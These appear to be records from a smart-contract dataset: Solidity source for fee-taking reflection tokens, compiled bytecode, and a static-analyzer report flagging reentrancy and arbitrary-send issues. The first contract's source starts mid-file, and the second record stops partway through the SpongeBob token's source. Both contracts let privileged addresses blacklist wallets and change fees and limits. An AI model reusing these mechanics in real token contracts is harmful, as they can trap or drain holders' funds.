if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5e10 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104ee578063a9059cbb1461050e578063bfd792841461052e578063c3c8cd801461055e57600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104ce57600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611acd565b610619565b005b34801561021557600080fd5b506040805180820190915260088152674f4e4c5946414e5360c01b60208201525b6040516102439190611b92565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611be7565b6106b8565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b5069021e19e0c9bab24000005b604051908152602001610243565b3480156102e757600080fd5b5061026c6102f6366004611c13565b6106cf565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610243565b34801561033957600080fd5b5060145461029c906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611c54565b610738565b34801561037957600080fd5b50610207610388366004611c81565b610783565b34801561039957600080fd5b506102076107cb565b3480156103ae57600080fd5b506102cd6103bd366004611c54565b6107f8565b3480156103ce57600080fd5b5061020761081a565b3480156103e357600080fd5b506102076103f2366004611c9c565b61088e565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611c54565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029c565b34801561047957600080fd5b50610207610488366004611c81565b610ab7565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b5060408051808201909152600281526127a360f11b6020820152610236565b3480156104da57600080fd5b506102076104e9366004611c9c565b610b16565b3480156104fa57600080fd5b50610207610509366004611cb5565b610b45565b34801561051a57600080fd5b5061026c610529366004611be7565b610b9f565b34801561053a57600080fd5b5061026c610549366004611c54565b60106020526000908152604090205460ff1681565b34801561056a57600080fd5b50610207610bac565b34801561057f57600080fd5b5061020761058e366004611ce7565b610be2565b34801561059f57600080fd5b506102cd6105ae366004611d6b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102076105f4366004611c9c565b610c83565b34801561060557600080fd5b50610207610614366004611c54565b610cb2565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161064390611da4565b60405180910390fd5b60005b81518110156106b45760016010600084848151811061067057610670611dd9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ac81611e05565b91505061064f565b5050565b60006106c5338484610d9c565b5060015b92915050565b60006106dc848484610ec0565b61072e843361072985604051806060016040528060288152602001611f1f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113ad565b610d9c565b5060019392505050565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161064390611da4565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161064390611da4565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107eb57600080fd5b476107f5816113e7565b50565b6001600160a01b0381166000908152600260205260408120546106c990611421565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161064390611da4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161064390611da4565b6802b5e3af16b188000081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064390611da4565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561095c57600080fd5b505afa158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190611e20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109dc57600080fd5b505afa1580156109f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a149190611e20565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a5c57600080fd5b505af1158015610a70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a949190611e20565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ae15760405162461bcd60e51b815260040161064390611da4565b601454600160a01b900460ff1615610af857600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b405760405162461bcd60e51b815260040161064390611da4565b601755565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b815260040161064390611da4565b60095482111580610b825750600b548111155b610b8b57600080fd5b600893909355600a91909155600955600b55565b60006106c5338484610ec0565b6012546001600160a01b0316336001600160a01b031614610bcc57600080fd5b6000610bd7306107f8565b90506107f58161144f565b6000546001600160a01b03163314610c0c5760405162461bcd60e51b815260040161064390611da4565b60005b82811015610c7d578160056000868685818110610c2e57610c2e611dd9565b9050602002016020810190610c439190611c54565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c7581611e05565b915050610c0f565b50505050565b6000546001600160a01b03163314610cad5760405162461bcd60e51b815260040161064390611da4565b601655565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161064390611da4565b6001600160a01b038116610d415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610643565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dfe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610643565b6001600160a01b038216610e5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610643565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610643565b6001600160a01b038216610f865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610643565b60008111610fe85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610643565b6000546001600160a01b0384811691161480159061101457506000546001600160a01b03838116911614155b156112a657601454600160a01b900460ff166110ad576000546001600160a01b038481169116146110ad5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610643565b6015548111156110ff5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610643565b6001600160a01b03831660009081526010602052604090205460ff1615801561114157506001600160a01b03821660009081526010602052604090205460ff16155b6111995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610643565b6014546001600160a01b038381169116146111cf57601654816111bb846107f8565b6111c59190611e3d565b106111cf57600080fd5b60006111da306107f8565b6017546015549192508210159082106111f35760155491505b80801561120a5750601454600160a81b900460ff16155b801561122457506014546001600160a01b03868116911614155b80156112395750601454600160b01b900460ff165b801561125e57506001600160a01b03851660009081526005602052604090205460ff16155b801561128357506001600160a01b03841660009081526005602052604090205460ff16155b156112a3576112918261144f565b4780156112a1576112a1476113e7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112e857506001600160a01b03831660009081526005602052604090205460ff165b8061131a57506014546001600160a01b0385811691161480159061131a57506014546001600160a01b03848116911614155b15611327575060006113a1565b6014546001600160a01b03858116911614801561135257506013546001600160a01b03848116911614155b1561136457600854600c55600954600d555b6014546001600160a01b03848116911614801561138f57506013546001600160a01b03858116911614155b156113a157600a54600c55600b54600d555b610c7d848484846115d8565b600081848411156113d15760405162461bcd60e51b81526004016106439190611b92565b5060006113de8486611e55565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b4573d6000803e3d6000fd5b600060065482111561143257600080fd5b600061143c611606565b90506114488382611629565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149757611497611dd9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114eb57600080fd5b505afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115239190611e20565b8160018151811061153657611536611dd9565b6001600160a01b03928316602091820292909201015260135461155c9130911684610d9c565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611595908590600090869030904290600401611e6c565b600060405180830381600087803b1580156115af57600080fd5b505af11580156115c3573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115e5576115e561166b565b6115f0848484611699565b80610c7d57610c7d600e54600c55600f54600d55565b6000806000611613611790565b90925090506116228282611629565b9250505090565b600061144883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117d4565b600c5415801561167b5750600d54155b1561168257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116ab87611802565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116dd908761185f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461170c90866118a1565b6001600160a01b03891660009081526002602052604090205561172e81611900565b611738848361194a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177d91815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab24000006117ad8282611629565b8210156117cb5750506006549269021e19e0c9bab240000092509050565b90939092509050565b600081836117f55760405162461bcd60e51b81526004016106439190611b92565b5060006113de8486611edd565b600080600080600080600080600061181f8a600c54600d5461196e565b925092509250600061182f611606565b905060008060006118428e8787876119c3565b919e509c509a509598509396509194505050505091939550919395565b600061144883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ad565b6000806118ae8385611e3d565b9050838110156114485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610643565b600061190a611606565b905060006119188383611a13565b3060009081526002602052604090205490915061193590826118a1565b30600090815260026020526040902055505050565b600654611957908361185f565b60065560075461196790826118a1565b6007555050565b600080808061198860646119828989611a13565b90611629565b9050600061199b60646119828a89611a13565b905060006119b3826119ad8b8661185f565b9061185f565b9992985090965090945050505050565b60008080806119d28886611a13565b905060006119e08887611a13565b905060006119ee8888611a13565b90506000611a00826119ad868661185f565b939b939a50919850919650505050505050565b600082611a22575060006106c9565b6000611a2e8385611eff565b905082611a3b8583611edd565b146114485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610643565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b8035611ac881611aa8565b919050565b60006020808385031215611ae057600080fd5b823567ffffffffffffffff80821115611af857600080fd5b818501915085601f830112611b0c57600080fd5b813581811115611b1e57611b1e611a92565b8060051b604051601f19603f83011681018181108582111715611b4357611b43611a92565b604052918252848201925083810185019188831115611b6157600080fd5b938501935b82851015611b8657611b7785611abd565b84529385019392850192611b66565b98975050505050505050565b600060208083528351808285015260005b81811015611bbf57858101830151858201604001528201611ba3565b81811115611bd1576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bfa57600080fd5b8235611c0581611aa8565b946020939093013593505050565b600080600060608486031215611c2857600080fd5b8335611c3381611aa8565b92506020840135611c4381611aa8565b929592945050506040919091013590565b600060208284031215611c6657600080fd5b813561144881611aa8565b80358015158114611ac857600080fd5b600060208284031215611c9357600080fd5b61144882611c71565b600060208284031215611cae57600080fd5b5035919050565b60008060008060808587031215611ccb57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cfc57600080fd5b833567ffffffffffffffff80821115611d1457600080fd5b818601915086601f830112611d2857600080fd5b813581811115611d3757600080fd5b8760208260051b8501011115611d4c57600080fd5b602092830195509350611d629186019050611c71565b90509250925092565b60008060408385031215611d7e57600080fd5b8235611d8981611aa8565b91506020830135611d9981611aa8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1957611e19611def565b5060010190565b600060208284031215611e3257600080fd5b815161144881611aa8565b60008219821115611e5057611e50611def565b500190565b600082821015611e6757611e67611def565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ebc5784516001600160a01b031683529383019391830191600101611e97565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611efa57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1957611f19611def565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200170ff8654ab43a2af711f1355d272f9b80b82966f02da562370c7690386a71964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,498 |
0x3d6c02cd80a777cf479c5e3f4e2d75be2f621cca
|
/**
*Submitted for verification at Etherscan.io on 2021-09-30
*/
/*
https://t.me/SpongeBobERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpongeBob is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SpongeBob";
string private constant _symbol = "SpongeBob";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _redisfee = 2;
//Bots
mapping (address => bool) bannedUsers;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function removebot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
